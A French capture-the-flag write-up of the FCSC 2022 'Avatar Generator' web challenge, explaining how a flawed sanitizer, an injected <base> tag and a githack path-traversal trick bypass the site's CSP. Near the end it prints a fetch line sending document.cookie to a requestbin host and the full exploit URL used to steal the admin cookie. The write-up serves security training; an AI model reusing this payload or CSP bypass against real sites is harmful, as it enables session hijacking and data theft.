XSS avancée avec bypass de CSP
Write-up du challenge Avatar Generator du CTF FCSC (édition 2022)
Le
Pour sa dernière épreuve dans la catégorie Web, le FCSC nous proposait d'exploiter une vulnérabilité de type Cross-site scripting (XSS) avec échappement d'une CSP (Content Security Policy).
Le challenge
L'objectif du site web est de permettre à un utilisateur de générer un avatar aléatoire qu'il pourra partager sur Twitter.
On commence par une petite énumération du service web, très rapide, car il n'est composé que de trois pages :
- index.php, nous permet de générer des « avatar » grâce à du code JavaScript (sur lequel nous reviendrons plus tard) ;
- contact.php qui nous permet d'envoyer une page du site à l'admin ;
- admin.php, la page qui donne le flag, protégé par un mot de passe.
Un schéma d'exploitation se dessine clairement dans ma tête, et il se base sur l'exploitation d'une vulnérabilité XSS pour Cross-site scripting. En effet, la surface d'attaque est très réduite : elle se limite à la génération de l'avatar qui s'effectue côté client, et l'envoie d'un lien à l'administrateur. Il devient évident que la faille devra être trouvée dans la logique front-end.
À la recherche d'une XSS
La XSS, ou cross-site scripting, est un type de vulnérabilité de sécurité web permettant à un attaquant d'injecter du code malveillant (comme du JavaScript) dans des sites web légitimes. Lorsque des utilisateurs visitent le site affecté, leur navigateur exécute ce code, ce qui peut conduire au vol de données sensibles, au détournement de sessions ou à d'autres actions malveillantes.
On trouve trois types de XSS:
- XSS stocké (Stored/Persistent) : Le code malveillant est enregistré de façon permanente sur le serveur (ex. dans une base de données) et exécuté par chaque utilisateur qui consulte la page affectée.
- XSS réfléchi (Reflected) : Le code malveillant est inclus dans une requête (URL, formulaire…) et renvoyé immédiatement par le serveur dans la réponse, sans être stocké.
- XSS basé sur le DOM (DOM-based) : L’injection et l’exécution se produisent entièrement côté client, via une manipulation du DOM par du JavaScript vulnérable.
Analyse du code
Avant tout chose, il nous faut trouver des moyens d'interagir avec l'application, afin d'identifier d'éventuelles vulnérabilités. Je me suis intéressé à celle permettant de générer un avatar. Celle-ci utilise 4 fichiers JavaScript.
![]()
La génération aléatoire de l'avatar se fait au niveau du script app.js. Il nous informe par ailleurs que l'on peut passer 3 paramètres à la page :
![]()
On peut passer deux paramètres GET (primary et secondary) ainsi qu'un paramètre d'ancre debug à la page. Ces paramètres sont utilisés lors du partage de notre avatar sur twitter afin de préformater le tweet. Les paramètres primary et secondary nous permettent de choisir les couleurs composant notre avatar, tandis que l'ancre debug active un « mode » de débogage du script de génération de l'avatar qui affiche les erreurs qu'il a rencontré (ce qui est très intéressant pour nous, car, pour rappel, nous cherchons à exploiter une vulnérabilité XSS).
![]()
En jouant avec ces paramètres, on arrive sans difficulté à afficher notre texte sur la page, mais on s'aperçoit vite que notre injection est soumise à une fonction intitulée sanitizeHtml…
![]()
… qu'on arrive à escape en injectant </"'> au début de la payload, car les caractères interdits ne sont replacés qu'une seule fois (en effet, la méthode replace() de JavaScript ne replace que la première occurrence dans la chaine de caractères si l'option g pour globale n'est pas utilisée).
On est donc en mesure d'injecter du code HTML sur la page, seulement on s'aperçoit vite, en injectant des balises <script> et </script> que le code JavaScript n'est pas interprété. Il va donc falloir trouver un moyen d'exécuter du code JavaScript en n'injectant que du HTML.
La balise <base>
En cherchant des pistes qui pourraient amener à l'exécution de code JavaScript, dans les fichiers JavaScript du site, je tombe sur un loader « stats.loader.js », qui crée toutes les 1000ms une balise <script> pointant vers assets/js/stats.js. Dans le stats.js, on trouve uniquement un commentaire : //todo.
En ce qui concerne un challenge de CTF, un fichier comme ça n'est pas anodin et doit souvent être exploité (il n'a pas été placé là par hasard).
En partant de cette hypothèse, je cherche alors un moyen de « changer » le contenu de ce fichier, car son code est exécuté toutes les 1000 secondes. En cherchant sur Google (comme souvent…), je tombe sur un post sur stack overflow, mentionnant une balise HTML qui pourrait répondre à mes attentes :
![]()
Exactement ce qu'il nous faut ! La balise base nous permet de définir un host et un path par défaut pour tous les attributs src d'une page. Je m'empresse alors de créer mon propre stats.js, de l'uploader sur mon serveur et de l'inclure en posant une balise
<base href='monsitedehackeur.com/'>
![]()
Malheureusement, la requête est bloquée par la CSP... ☹
Bypass de la CSP (Content Security Policy)
Un Content Security Policy (CSP) est un mécanisme de sécurité web qui définit quelles sources de contenu sont autorisées à être chargées par une page afin de prévenir les attaques comme le XSS.
La règle qui nous intéresse dans le CSP est celle-là :
script-src rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/ 'self'
car elle nous indique que nous pouvons intégrer n'importe quel script pourvu qu'il soit dans un répertoire / sous-répertoire du repo notyf.
En cherchant un peu sur notre outil favori (aka google encore 😎), on tombe sur un trick permettant d'inclure nos propres fichiers js grâce à un path traversal.
//rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%252f..%252f..%252f..%252fhacktheline/magnifique/script.js
Je crée sur mon GitHub un fichier stats.js dans un sous-répertoire assets/js/, j'y place le code JavaScript suivant, fetch("http://requestbin.net/r/3zvfjghq?%22+document.cookie, { mode: 'no-cors'}); qui a pour rôle d'exfiltrer le cookie vers un requestbin. J'obtiens ensuite son url sur githack (attention à bien prendre celle du rawcdn.githack.com)
Je peux donc attaquer la construction de mon payload.
https://avatar-generator.france-cybersecurity-challenge.fr/?seed=%3C%3Cbase%20href=//rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%252f..%252f..%252f..%252fhacktheline/magnifique/assets/js/stats.js?%3E%3E%3C/base%3E&primary=&secondary=#debug
Et on finit par recevoir le cookie de l'administrateur 😊.
![]()
On remplace alors notre cookie par celui de l'administrateur, et on obtient (enfin) le flag 😊😊
![]()